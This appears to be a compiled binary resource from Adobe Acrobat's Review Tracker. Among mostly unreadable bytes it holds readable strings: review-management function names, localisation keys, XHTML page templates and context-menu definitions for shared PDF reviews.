���������75�����Q�����;"�
����#?�
����QQ>�����Q>�����Q�
���������75 �����Q�����;=�����Q�
���������75!�����Q�����;=�����Q�����������"Y�����] �����]#������=$�=%9&�&������:�:]'�����]!������
���������75(7])�����]*�����]+�
���������75,],\8Q�L����N;-�.
�YB]/\�:Q������ ����7�����Q@�����Q�����50�����A51A52�����Q�����50�����������	���������Q�����53�����Q�����;��=4�=5=6=7�=8�=9����������=:�A5;�=<==�=5=6=7�=8�=9����������=:�������=<==�������=>������Q=?�����Q�=4�=5=6=7�=8�=9����������=:�A5;�=<==�=5=6=7�=8�=9����������=:�������=<==�=5=6=7�=8�=9����������=@�=:�������=<==�������=>������Q����������7�����Q����������7=A�����Q=B�����Q=B�����Q�����=�����Q=�����Q=B�����Q�����=�����Q=C�����=D�����Q=C�����=E� ����Q����������7�!����Q�	����5F�"����Q�.�����#����QB�$����Q�����>�	����5G�$����Q�$�����/�����#����QB�%����Q�����>�	����5H�%����Q�%�����1�����#����QB�&����Q�����>�	����5I�&����Q�&�����0�����#����Q=�'����Q=�(����Q=�)����Q=B�*����Q=B�+����Q�#�����0����B=J������(����QA5K�'����Q=�*����Q;�#�����1����#=L�)����Q=�+����Q=B�,����Q=�-����Q�������	����5M�-����Q�-����=��-�����N
��;5O�P
�=Q�:@;5R;5S�:�-����QA5T=U�-�����-����Q=�,����Q�-����=A5V�-����Q=�.����Q=�/����Q�����2�	����5W�.����QA5X�/����Q-A5Y�/����Q�	����5Z�.����QA5[�0����Q�0�����N
�=\�.�����:�0����Q�����8�0�����N
�=]�"�����:�0����Q�����������7=^5�0�����N
�=]�A5_�:�0����Q6����������7=`�.�����0����QY;5a]b;5c]d\�1����Q=�2����Q=B�3����Q�����]�	����5e�2����Q�2����=f1�1�����2����7�2����Q=�3����Q=�4����Q=�5����Q=�6����Q�����D�	����5g�4����Q����� �	����5h�5����Q�����=
=B�7����Q�5����=�5�����6����QA�4����=�4�����6����QA5i�6����Q�	����5j�8����Q=B�9����Q=B�:����Q�8���� f�4����='�����=�9����Q0�����"�����=�:����Q=k������;����Q=l������<����QB�=����Q=�>����Q�#�����/����a�	����5m�?����Q�?�����/�����=����Q�=����=n
=�>����Q=B�@����Q�����EQ�����#�$���� =�@����Q=o������A����Q�����EQ�$����=p
=q�B����Q=�C����Q������A5r�C����Q�C�����N
��=�	����5�:�C����Q�C�����N
��=�	����5�:�C����Q=�D����Q������A5s�D����Q�D�����N
��=�	����5t�:�D����Q�D�����N
��=�
�����:�D����Q=B�E����Q����� =�E����Q=B�F����Q�����E Q����� DQ�$���� =�F����Q=B�G����Q�����EQ�����=�G����Q=u������H����Q=v������I����Q=w������J����Q=x������K����Q�=y�=z�={�=|�=5=6=9��� �������=}���!�������=7���B�������=:�=~�A5�=�=<=�=��=��=��=��=��=��A5��=�=�=��=��=5=6=9����������=:�=���!�����=�=<=�=�=��=��=��=��A5��=�=�=��=��=��=5=�=����>�������=:�������#����7�=�=U�=5=�=����+�������=:�=5=6=��=��=9���)�������=:=��A5��=�=�=U�=5=�=����*�������=:=��A5��=U�=5=6=��=��=9���(�������=:�A5��=<=U��'�����=�=�=�=�=��=5=�=����,�������=:=��=��A5V�=�=��=��=���-�����=�=�=�=��=��=��=���/�����=�=�=��=��=���0�����=�=�=�=��=5=�=����3�������=:=��=��=��A5��=�=�=��=��=���2�����=�=�=�=��=5=�=����7�������=:=��=��=��A5��=�=�=��=��=���6�����=�=�=�=�=�=��=5=�=�����������=��=:=��=5=6=����9�������=9���;�������=��=:�=��A5��=�=<=��=5=6=����:�������=9���<�������=��=:�=��A5��=�=<=��=5=6=����@�������=9���A�������=��=:�=��A5��=�=<=�=��=5=�=�����������=:=�=��=��A5V�=�=��=|�=��A5��=�=�=��=��=5=�=7�=��=�����������=:=��=��=��=��A5��=�=�=��=��=���C�����=�=�=�=��=��=��=��A5��=�=�=��=��=���D�����=�=�=�=�=�=��=5=�=�����������=:=�=��=|�=5=6=����E�������=9���H�������=��=:�=��A5��=�=<=��=5=6=9���I�������=��=:�=��A5��=�=<=��=5=6=����F�������=9���J�������=��=:�=��A5��=�=<=��=5=6=����G�������=9���K�������=��=:�=��A5��=�=<=�=�=��=��=��=5=�=���;²��=:=��=�A5ij=�=��=��A5ų=�=��=��A5Ƴ=�=��=5=�=�����������=:�=�A5ɳ=��A5˳=�=�=��=��A5ͳ=�=�=�=�=�=���L����Q@�M����Q;��=��R�N����Q�L�����N�����խKDmM�O����Q�O�����֦7=��O�����M����Q
�L����N�M������
������:Q@�P����Q;��=��R�N����Q�L�����N�������KDmM�O����Q�O�����֦7=��O�����P����Q
�L����NY�]
�]�]?]�\�Q����Q��R����Q��S����Q��T����Q?�U����Qm������U����7�V����Q�U����?�W����Q�m�T����������W����7�V�����:3������W����?������W����78Q
/�W����#?�W����QQ��W����>���v�W����?�U����$������W����?�V����8Q�U����#?�U����QQ��U����������"����B�X����Q>�Y����QOm������Y����7�����QA5ڊZ����Q�����5, =�Z����Q8=�����5+=������5*�Z����Q�X���� �X����Q�X����;�
;݊[����Q�=5=�=����[�������=:=��=��=5=6=9�������5'���=:�=�������5#�=�=<=�=��=�������5 �=�=��=�������5!�=�=��=5=�=�����������=:�=��Z�����=�=�=��=�������5)�=�=���\����Q�P������
�\�����:Q�Y����#?�Y����QQ��Y����������"����;���
�L������
�:�N
��=��:�=��:�]����Q;�
�:Q;��
�L������
�:�N
��=��:�:Q;�	
�:Q�������
�Y�]����]�\�:Q��v�Q;���
�=��:Q;���
�5��:Q9����=��:Q9����5��:Q��ė���ϐϐ��ސؐݐ��Ր��ѐ�搈ѐ�Րؐ����ϐϐϐژ�ѐ�ϐϐϐژ��ːϐ�0�#ѐ�����8���␐����ݐ����ː�ː������ϐ�����ϐ��א�ΐΐ��ΐ�ΐΐ阀�ސ�ݐ�ː���搐ؐ������������ߐ֘��ϐ��������ѐ��ݐ㐐ϐϐ���Ԑ��ϐ�ϐ���ϐ�ߐߐݐ�ؐ�Ӑ�ː����ؐ���Ӑ��ː����ؐ���Ӑ��ː����ؐ���Ӑ��ϐϐϐϐϐ�=���ِ�А�Ԑ�����ϐ�ϐ��ϐϐ����ؐ�����쐈�ϐ�����А�ϐϐ�-���ؐ�Ր����А�ؘ�~А���3����0������Ӑ����ϐڐ��ϐϐ����ؐ�����ݐ�Ϙ��ϐϐ�ϐ������ؐ���
���ؐ���
ސ����ؐ���ؐ��А�ؐ�ϐϐ�	����"�����	Ԑ�������	ϐ��ِِ�ːϐ���ؐ�ݐ��
ސ��ϐ����
���ϐ��ِ��
ސ�ϐ����А��������ϐ����А�����ϐ�	���ϐ�ϐψЈ���ϐϐ���ϐِِِِ������������鐗�������Ӑ͐��������͐��ܐ�͐����͐����͐���搗�͐����ܐ͐�吐͐�֐����֐͐�������͐���搗�͐�吐͐����ϐ��ܐ���͐����ܐܐܐ�ؐ֐�����ѐ��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ�v�ߐ��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ�������ѐ��Ϙ��Ϙ��Ϙ���
� ���8���������ݐ��Ր ��j������������.��	@����ؘ������
Ҙ�����ߘ���8ؘ�˜���ߘ��ː��
� �O�7�i�����ɐݐ�А�
���Ԑ��󐐈�
Ԑ�
ސ������̐ސѐ�ߘ�ȈJؘ�ݘ�Ȉ$ߘ��͐�ѐ����ѐ��x��А��ᐈ�ߐ�ހ{��getSelection	Extension
currentReview	cReviewIDapp	beginPrivoReviewInfoCollab
getReviewInfoendPriv
oReviewersAnnotsString#IDS_TRACKER_REVIEWER_TYPE_INITIATOR	Initiator"IDS_TRACKER_REVIEWER_TYPE_REQUIREDRequired"IDS_TRACKER_REVIEWER_TYPE_OPTIONALOptionalIDS_TRACKER_REVIEWER_TYPE_ADDED	UninvitedIDS_WORKFLOW_STATE_INPROGRESSActiveIDS_WORKFLOW_STATE_ENDEDEndedIDS_WORKFLOW_STATE_SUSPENDED	SuspendedIDS_WORKFLOW_STATE_CORRUPTED	Corrupted	nCommentsnNewComments	undefinedcNamecTitlelengthcEmailacrobatinternal?mailto=escape
cEmailLinkcStatuscRolenTotalCommentsnUnreadCommentsbHasParticipatedXMLsetSettingsignoreCommentsURLcIveSentcIveReceivedTitle#<div class="bread_crumb">
									<aclassblueLinkhref>cReviewsSuperGroup</a> > 
								</div>acrobat:Inbox?gotoLevel=1style="unicode-bidi: embed;"SharedReviewdisplay: none;acrobat:Review?open=&via=filePathLink&via=viewCommentsLinkcServerbIsEndedbIsCorruptedbIsSuspendedacrobat:Review?resume=cToResumeActive+acrobat:Review?showHelpForCorruptedWorkflowcErrorreplace
viewerTypematchReaderIDS_PRODUCT_VARIANT_READERIDS_PRODUCT_VARIANT_ACROBATcDefListErrorProp nbsp_placeholdercSentcDefListSentPropcDefListReceivedOnProp	cReceived
cSentUsing%dateTimeSentRecvd%%serverName%EBRcEmailAttachmentBBR+IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS_SRNone,IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS_SR
RestrictedcAccessLevelInvalid	cDeadlinecDeadlineUpdatecNonebIsCommentRepositoryDeletedacrobat:Review?changeDeadline=acrobat:Review?addDeadline=cWorkflowsFileStatefont-weight: bold;acrobat:Review?end=ended-iconic
pdf-iconiccNewByTotalcNewByActive
nNewReviewersacrobat:Review?emailInitiator=!acrobat:Review?emailAllReviewers=acrobat:Review?invite=0acrobat:Review?newSharedReviewWithSameReviewers=�<html xmlns="http://www.w3.org/1999/xhtml">
								<head>
									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								</head>

								<body id="body">
									P<div id="pg_sent_details" style="margin-left: 35px;">
										<br/>
										!<div class="buttons">
											titleY<span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">cViewCommentsButton</span>
										</div>'
										
										<br/>

										,<div style="margin-left: -6px;">
											5<table class="definitionListTableSmall">
												<tr>
													<th><span class="dontWrap">cDefListFileLocationProp</th>
													<td><span class="blueLink"></td>
												</tr>

												cDefListStatusPropspanstylecolor:blue;(cHowDoIFixThis)</a>cClickcHere)</span>tr[<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif"/><span style="color:red;">cDefListAccessLevelPropcDefListDeadlineProp
											</table>

										divclass="buttons"
											class="change-deadline-iconic"cChangeDeadlinecAddDeadlineclass="end-review-iconic"
cEndReview
										
										#
											<br/>
										</span><div class="dottedLine"></div>'

										<br/>
										
										G<span class="reviewers-iconic" style="font-weight:bold; font-size:12;">cReviewersLabeltabledefinitionListTableSmall

												cDefListCommentsPropcDefListReviewersPropclass="email-initiator-iconic"cEmailInitiatorclass="email-all-iconic"cEmailAllReviewersclass="add-reviewer-iconic"
cAddReviewers$class="review-same-reviewers-iconic"cNewWithSameReviewers!

										<br/>
									</div>

									.<div class="borderedDivDetailPage">
										\<table id="reviewerList" class="borderedTable" cellpadding="15" cellspacing="0">
											bgcolorcTableHeaderColor<th style="margin-left: 10px;">cTableHeaderEmailcTableHeaderReviewercTableHeaderTitleth<center>cTableHeaderNumberOfComments<br/>cTableHeaderNewByTotal	</center>cTableHeaderReviewerType
											</tr>
										</table>
									</div>

								</body>
							</html>	Namespacehttp://www.w3.org/1999/xhtmlbodyidprependChildreviewerListAddedcUnreadByTotal / cTableOddRowColorcTableEvenRowColor

									td
								</tr>appendChildutilstreamFromStringtoXMLString&nbsp;utf-8saveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert������s�����;T7ˆʈAnnotsString������schemesˣ���T=T�	Έ:�����+�
role1role2nRole1nRole2����Q����T7WQ�Q����T7WQVV�ѐѐ��Ȉ�����+�
role1role2nRole1nRole2K�����Q����T7WQ�Q����T7WQVV�ѐѐ��Ȉ�������	reviewer1	reviewer2emailID1emailID2����	�S�����T5�T5�:?g�R�����T5�T5�:@T5�
�:WQT5�
�:WQVV>������;���אא��͐����	cRolecEmailtoLowerCase����e%cProductVariant%%new%%total%%new%%active%NBSP_PLACEHOLDERNBSP_PLACEHOLDER�"�i]8���GG�#�����&:�&��	@�dialogfeedLLINK	extensionitemsgroupaReviewListiitemdocID
reviewInfobIsSharedReviewbIsInitiatednActiveReviewers
oReviewerscurReviewer	nComments
cSentRecvdcSentRecvdLinkcNoReviewsInFeedcFeedIconClass	viewXHTMLcTopArrowXHTMLbodyxhtmlborderedDiv
tableXHTMLcurrentcurValtrav
evenOddRowreviewIndex	curReview	cComments
cReviewers	cRowColorreviewXHTMLstm	argumentst�� �2	�)����Q�������Q������Q�����5�����Q�����5�����Q�����Q;�
�YB]\�:QZ\�	����Q������
�:)������
�=�:�����QA55	f>�
����Q5mA55	�
����@8Q�
����#?�
����QQ��
����A55	�
����A5;�R6	Q�����K�mM�
����Q������
����7�����Q�����5�����7�����Q�����5�%����7
D�����;E(Q�����5� ����7�����
@�
����Q;
�
�:Q;�
������:�
����Q;
�
�:Q�
����@
�A55	�
�
�����:Q�����5�����7=�����Q�����5�����7�����Q�	�����	�����
Y�����5]������
����5�
����5]������
����5
=]������
����5>]������
����5>]>]������
����5 >] ������
����5!B]!������="�=#�����=$�����5%=&�����5'�:](�����])\8Q������>�����Q�
����5*�����Q�����KxmM�����Q�����=
S����������75�����Q�����;�����#?�����QQ�L����N�	�����	�����
?7�����6Q�	�����	�����
?75=+�	�����	�����
?7A5+6Q�	�����	�����
?75!=>�	�����	�����
?75=,A5-=.6Q�L���QN�����5%�����A5/A50�����Q�����5%�����������	���������Q�����Q�����A51�����Q=�����5%�����A52A53�����Q�����5%�����=4
=5�����Q�����Q�	�����
>��=6�=7�=8�=9=:=;����������=<�==�������=>=>=?�=@�������=A=B=C=D������Q��=E�=7�=F�=G�=9=:=;����������=<�==�������=>=>=H=B=C=D������Q�����Q�����;u�=I�=9=J=K����������=<�=L�A5M�=>=N=O�������=P������Q��=I�=9=J=K����������=<�=L�A5M�=>=N=O�=9=J=K����������=<�=L�������=>=N=O�������=P������Q@�����Q;Q�=R�R�����Q�����������S�KDmM�
����Q�
�����T�7=S�
���������Q
�L����N������U
������:Q�	�����
>b@�����Q;Q�=R�R�����Q�����������V�KDmM�
����Q�
�����T�7=W�
���������Q
�L����N�=X�=9=Y=Z��;[���=<=\�=]�A5^�=_=\�=`�A5a�=_=\�=`�=b�A5c�=d�A5e�=f=_=\�=`�=b�A5g�=d�A5h�=f=_=i=j������Q������k
������:Q?�����Qm�	���������7�����Q�����?� ����Q}m�	����� ����75�����5].�	����� ����?�	����� ����78Q� ����#?� ����QQ�� ����>���{� ����?�����$�	����� ����?�����8Q�����#?�����QQ�������	�����
����B�!����Q>�"����QSm�	�����"����7�#����Q=�$����Q�#����5)8=�#����5=l�#����5�$����Q=�%����Q�#����5)8=�#����5 =l�#����5�%����Q�!���� �!����Q�!����;m
;n�&����Q�=9=Y=Z���&�������=<=\�=o�=9=J=K���#����5(���=<�=L��#����5�=>=N=p=\�=q��#����5�=p=\�=q�=b��$�����=f=p=\�=q�=b��%�����=f=p=i��'����Q������k
�'�����:Q�"����#?�"����QQ��"�����	�����
����;r�s
������t
�:�u
��=v�:�=w�:�(����Q;
�
�:Q;�x
������t
�:�u
��=v�:�:Q;
�
�:Q������y
�Y�(����]z\�:Q��v�Q;{�|
�=}��:Q;{�|
�5~�:Q9��=}��:Q9��5~�:Q��ė���ϐϐ�ؐؐʐ��ސ�ϐ����䐐������ 5Q��ؘ��Hؘ����ᘀ�֐��0��ѐ�ݐ␐���8���8��ː��ѐ�䐈ѐ���8���ᐐ萐␐�א�Ӑ�����ސ�ސ��ސ�ސ�Ԑј�3����ːؐ�0{ѐ�����8��␐���
ᐐ��鐐����	搐����	�pИ�Q����ʐ���Ր�����
ސ�ʐ���������c���������ː���֐�������x������������ѐ��ʐ���p������Ր֘���������ј��ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ���ߐ������ː�ڐ�0Gѐ�Ɉ����	Ӑ@Θ�����ܐܐ���ѐ���ߐ���� ���3������̐�ݐ��Ր }e������	��Ӑ��
�@ʐ��
阀҈ؘ�ؘ�҈Ҙ�����	ߘ�ˈ:ؘ�ܘ�ˈߘ��ː���� �S�;�m������ݐ��ϐ���	󐐐ϐ���	󐐐��
Ԑ�
ސ�������ѐ�ߘ��Bؘ����� ߘ��͐�ѐ����ѐ��x��А��ᐈ�ߐ�ހ{��	ExtensionItemsXMLsetSettingsignoreCommentsisGroupSelectiongetSelectionGroupcurrentReviewsInFeedaReviewInfolengthArray	undefinedapp	beginPrivCollab
getReviewInfoendPrivpushSharedReviewTitle	cFileNamenSent	nReceivednSentRecvdTime	cDeadline	nCommentsnTotalCommentsnNewCommentsnUnreadCommentsnActiveReviewers
nNewReviewerscDeadlineUpdateacrobatInbox?container=&selectFeed=URL#Guid	cFileLinkbIsSharedReview
oReviewerscNoDeadline (cUpdated)cIveSentcIveReceivedcNoReviewsInFoldercNoSentReviewscNoJoinedReviewsreviews-sent-iconicreviews-joined-iconic�<html xmlns="http://www.w3.org/1999/xhtml">
									<head>
										<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
										<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
									</head>

									<body id="body">
										&<div class="summary_page">
											<spanclass> <span style="font-weight:bold;"></span>.
											<br/>
											<br/>
											<span>
												&#8226; <br/>
											</span>
										</div>
									</body>
								</html>�<html xmlns="http://www.w3.org/1999/xhtml">
									<head>
										<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
										<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
									</head>
								
									<div>
											4<div id="mainDiv" class="summary_page">
												�
												<br/>
												<br/>
												<div class="borderedDivSummaryPage" id="borderedDivID">
											    </div>
											</div>#<div class="bread_crumb">
									ahref<span class="blueLink">cReviewsSuperGroup</a> > 
								</div>	Namespacehttp://www.w3.org/1999/xhtmlbodyidprependChilddiv
borderedDivIDH<table class="borderedTable" cellpadding="15" cellspacing="0">
									trbgcolorcTableHeaderColor
										 <th style="padding-left: 10px;">cTableHeaderFileName</th><th>cTableHeaderDeadline<center>cTableHeaderNumberOfComments<br/>cTableHeaderNewByTotal	</center>cTableHeaderNumberOfReviewerscTableHeaderNewByActive
									</tr>
								</table>appendChild / cTableOddRowColorcTableEvenRowColor <td style="padding-left: 10px;"></td><td>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8saveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert������s����;T7ˆʈAnnotsString������schemes���T=Tˆ'Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER�P
m3;��
G�	GZ��{�Q�������'
dialogmyReviewsURNfeed� �"=WQ�T�
�:1T�
�:WQA�
�T�V�:Q,T�
�:WQA�
�T�V�:Q-�vWQ;�
�V�:Q��ɐ����,��Ґ�ڐ���Ґ��x���ʈՀ{�>urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/MyReviews.rssisItemSelectiongetFeedshowItemViewshowFeedViewconsoleprintln����e
k�������
6dialogurlparamsia�"�$#T�
�=�:>�T�
�=�:?7�
�=�:WQVK�mMWQVV7�
�=�:WQV>7x=y=y$z[�5�����V?7�:QA;�	
�YC]
9��V?7�:]\�:Q�L���fN�����5��ː�ܐep��m
��1mʘ�-��	ՐP����	��Pΐ�indexOfacrobat:internal?split?&=	newFoldermailtoappmailMsgbUIunescapecToP��������5	selectionresult.'D+VZY=];5]=]�]�]\`Y=	];5
]=]�]�]\`9��:GY=
];5]=]�]�]\@`\WQV����ʐϐʐʐϐ��ʐϐʐʐϐ��B��ʐϐʐʐАʘ�s��
SendForReviewcNameAnnotsStringIDS_SEND_FOR_REVIEWcDisplayName'local://A_SendByEmailForReview_Sm_N.pngcIconURL	onExecute	onEnabledSendForSharedReviewIDS_SEND_FOR_SHARED_REVIEW&local://A_SendForSharedReview_Sm_N.pnghasHankoSendForApprovalIDS_SEND_FOR_APPROVALlocal://A_J_Approve_Sm_N.png������	selectiondoc(0(^9��T�:Qˆ+ӈANSendForReview������	selectiondocK(�(_9��T�:ˆ,ӈ#ANSendForReviewEnabled������	selectiondocH)x)e9��T�:Qˆ+ӈANSendForSharedReview������	selectiondoc�)�)f9��T�:ˆ+ӈ)ANSendForSharedReviewEnabled������	selectiondoc�*�*m9��T�:Qˆ+ӈANStartApproval������	selectiondoc�*+n9��T�:ˆ+ӈ#ANSendForReviewEnabled�������G	selectionresultk+�/v;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QVV�YC]\8QVV�Y=];5
]�]T5]\8QV�ΐ��ː�ʐϐʘ��͘���ː�ʐϐʘ��͘���ِ��ː�ʐϐʘ��А����ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE
bSeparatorRemoveIDS_REVIEW_PANEL_REMOVE_FOLDERgroup������	selectiondoc ,^,~�:�����:Q��ψ������	selectiondoc~,�,��;�����T55�:��݈5feedURL������	selectiondoci-�-��<�����:Q��ψ������	selectiondoc�-%.��=�����T55�:��݈7feedURL�����%�	selectiondoc�.T/��8�����T55�A5�:Q���:feedURLgroup������	selection�/�/�T55��Έ"feedDescription�������	selection
reviewMethodsitemresulttitle	0�1�Y;5];5];5]\WQT5WQ;5WQV�	
��VV5
�����77�:WQV5WQV�	
��V�:���ϐϐԐ��̐ΐ�ѐސ�̐�و)AnnotsStringIDS_REVIEW_PANEL_EMAILEBRIDS_REVIEW_PANEL_ONLINEBBRIDS_REVIEW_PANEL_SHAREDSharedReviewitemIDS_REVIEW_PANEL_REVIEW_OF_TIPreplace	ExtensionTitle{type}{title}�����K�	selectionbIsInitiated2.3�T55�����CBWQV;5;5���А���А��ˈ>feedURLAnnotsString IDS_REVIEW_PANEL_MY_REVIEWS_DESC)IDS_REVIEW_PANEL_PARTICIPANT_REVIEWS_DESC�������C	selectionresultQ3u7�;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QVV�YC]\8QVV�Y=];5
]�]\8QV�ΐ��ː�ʐϐʘ��͘�݈ː�ʐϐʘ��͘��ِ��ː�ʐϐ͘����ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE
bSeparatorCreateNewFolder"IDS_REVIEW_PANEL_CREATE_NEW_FOLDER������	selectiondoc4D4��:�����:Q��ψ������	selectiondocd4�4��;�����T55�:��݈5feedURL������	selectiondocO5�5��<�����:Q��ψ������	selectiondoc�56��=�����T55�:��݈7feedURL�����%�
	selectiondocurl�6P7�T55WQ�5�����V�:Q�ѐ�ӈfeedURL������m-	selectionresult
sendToMenufoldersiorigFolderName�7�C�;�RWQVV�Y=];5]�]\8QVV�YC]\8QVV�Y=	];5
]ZY=];5]�]\`YC]\`\]
\8QVV�?75
WQ;�
�T>755�:WQVK�mMWQVV7WQ;5=DQ;5=0VVVV7�
�=�=�:8Qf;5=QVVVV7�
�=�=�:8QVVVV7�
�=�=�:8QVV�YV]VV7]�]\8Q�L���NV�ΐ��ː�ʐϐ͘�#�ِ��ː�ʐϐ���ʐϐϘ�B�Ԙ�Hא䐐5�ː�ː��+���됐����搈搐��ː�Ȑ̐֘�s��ArraylengthRemovecNameAnnotsString)IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTEDcDisplayName	onExecute
bSeparatorMoveToFolderIDS_REVIEW_PANEL_MOVE_TO_FOLDERNoneIDS_REVIEW_PANEL_FOLDER_NONEoSubMenuCollabgetReviewFoldersfeedURLappplatformWINMACreplace&&&UNIX___�������U	selectiondocbIsInitiatedbHasEBROrBRRitypeitem	extension
reviewTypeo8e;T>755�����CBWQBWQV�>WQ�mTV75WQV=YTV75WQV5WQV�����7WQV=DQV=CWQ$V#?WQQ�VT����s�6�����VE
QV �:Q��А�������
$��x��������А����А̐ѐ����	�@��
�+̘���
�Ә��Ԉ.ɈfeedURLtypeitem	ExtensionEBRBBRlength@��������@	selectiondoc	reviewIDsitypeitem	extensionreviewID�<�>.;�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������7�����T>755�V�=�:Q�ΐ��$ma{�����3�А����А̐ѐ�	И�2�,̘�;��2�Ә�?��HArraytypeitem	ExtensionlengthfeedURL{�������@	selectiondoc	reviewIDsitypeitem	extensionreviewID�A�C];�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������7�����T>755�V�A5�:Q�ΐ��
$ma{�����b�А����А̐ѐ�И�a�+̘�j��a�Ә�n��PArraytypeitem	ExtensionlengthfeedURLcName{����� �39f	selectionresult
sendToMenufoldersiorigFolderName�CBfv;�RWQVV�Y=];5]�]\8QVV�YC]\8Q;	5
�
��: �VV�Y=];5
]�]�]\8QVV�Y=];5]�]�]\8QVV�Y=];5]�]�]\8QVV�Y=];5]�]\8QVV�YC]\8QVV�Y=];5]�]�	]\8QVV�Y=];5]�
]\8Q;	5
�
��: �VV�Y=];5]�]�]\8QVV�Y=];5]�
]�]\8QVV�YC]\8Q;	5
�
��: TVV�Y=];5]�]\8QVV�YC]\8QVV�Y=];5 ]�]\8QVV�Y=!];5"]ZY=#];5$]�]\`YC]\`\]%\8QVV�?75%WQ;&�'
�T5(5)�:WQVK�mMWQVV7WQ;	5*=+DQ;	5*=,0VVVV7�-
�=.�=/�:8Qf;	5*=0QVVVV7�-
�=.�=1�:8QVVVV7�-
�=1�=2�:8QVV�YV]VV7]�]\8Q�L���NV�ΐ��ː�ʐϐ͘���ِ������ː�ʐϐʘ��͘���ː�ʐϐʘ��͘�Ȉː�ʐϐʘ��͘��ː�ʐϐ͘��ِ��ː�ʐϐʘ��͘��ː�ʐϐ͘�
�����ː�ʐϐʘ�͘�,�ː�ʐϐʘ�6͘�C�ِ������ː�ʐϐ͘�Q�ِ���ː�ʐϐ͘�_�ː�ʐϐ���ʐϐϘ�p�Ԙ�vא␐5�ː�ː��+���됐����搈搐��ː�Ȑ̐֘����Arraylength
OpenReviewcNameAnnotsStringIDS_ATTACHLAUNCH_OPENcDisplayName	onExecute
bSeparatorapp
viewerTypematchChangeDeadline IDS_REVIEW_PANEL_CHANGE_DEADLINE	onEnabledAddDeadlineIDS_REVIEW_PANEL_ADD_DEADLINE	EndReviewIDS_REVIEW_PANEL_END_REVIEWRemoveIDS_REVIEW_PANEL_REMOVE_REVIEWEmailInitiator IDS_REVIEW_PANEL_EMAIL_INITIATOREmailReviewers#IDS_REVIEW_PANEL_EMAIL_PARTICIPANTSInviteIDS_REVIEW_PANEL_INVITENewWithSameReviewers(IDS_REVIEW_PANEL_NEW_WITH_SAME_REVIEWERSConvertToPDF0IDS_REVIEW_PANEL_CREATE_PDF_FROM_TRACKER_DETAILSCreateNewFolder"IDS_REVIEW_PANEL_CREATE_NEW_FOLDERMoveToFolderIDS_REVIEW_PANEL_MOVE_TO_FOLDERNoneIDS_REVIEW_PANEL_FOLDER_NONEoSubMenuCollabgetReviewFoldersfeedURLplatformWINMACreplace&&&UNIX___����� �	selection�D�D~;�
�T55�:Q��߈#app	launchURLitemLink�����F�	selectiondocIDQFG�T55�����7WQV'= ;�
�=V�:Q�ې�	���ۈ8item	Extension	undefinedapp	launchURLacrobat:Review?changeDeadline=�������-	selection
reviewTypeisInitiateddocIDbIsCommentRepositoryIntact&G�I�T55�����7WQV=BT55�����7WQV'=D
QV BT55�����7WQ�?�����V�:WQV B�>�����V�:��ې�����ې�	Ј%����ې��֐�	�����ӈ item	ExtensionSharedReview	undefined�����F�	selectiondocID�JXK�T55�����7WQV'= ;�
�=V�:Q�ې�	���ۈ5item	Extension	undefinedapp	launchURLacrobat:Review?addDeadline=�������/	selection
reviewTypeisInitiateddocIDbIsCommentRepositoryIntactsKFN�T55�����7WQV=BT55�����7WQV'=D
QV BT55�����7WQ�?�����V�:WQV B�>�����V�: ��ې�����ې�	Ј%����ې��֐�	������Ԉitem	ExtensionSharedReview	undefined�����F�	selectiondocID�N�O�T55�����7WQV'= ;�
�=V�:Q�ې�	���ۈ-item	Extension	undefinedapp	launchURLacrobat:Review?end=�������	selection
reviewTypeisInitiateddocID�O�Q�T55�����7WQV=BT55�����7WQV BT55�����7WQ�@�����V�:�/������ې�����ې�	����ې�݈2item	ExtensionSharedReview�����8�
	selectiondoc
reviewTypePR�R�T55�����7WQ�A�����T5�V�:Q�ې�܈6item	Extension�����F�	selectiondocdocID�SzT�T55�����7WQV'= ;�
�=V�:Q�ې����ۈ8item	Extension	undefinedapp	launchURLacrobat:Review?emailInitiator=�����1�	selectiondocisInitiated�T6U�T55�����7WQV'=D
QV �ې��Ј%�item	Extension	undefined�����F�	selectiondocdocID�U�VT55�����7WQV'= ;�
�=V�:Q�ې����ۈ;item	Extension	undefinedapp	launchURL!acrobat:Review?emailAllReviewers=�����F�	selectiondocdocID�WuXT55�����7WQV'= ;�
�=V�:Q�ې�	���ۈ0item	Extension	undefinedapp	launchURLacrobat:Review?invite=�������"	selectiondocisInitiated
reviewTypedocID�X�ZT55�����7WQV BT55�����7WQV=BT55�����7WQ�@�����V�:�/����C��ې�	�����ې�=��ې�␐���item	ExtensionSharedReview�����F�	selectiondocdocIDp[A\0T55�����7WQV'= ;�
�=V�:Q�ې�	���ۈJitem	Extension	undefinedapp	launchURL0acrobat:Review?newSharedReviewWithSameReviewers=�����K�	selectiondoc
reviewTypeisInitiated\\�]6T55�����7WQV=BT55�����7WQV��ې�����ې��item	ExtensionSharedReview������	selection�^K_K;�
�=�:Q��׈-app	launchURLacrobat:Review?convertToPDF�����%�
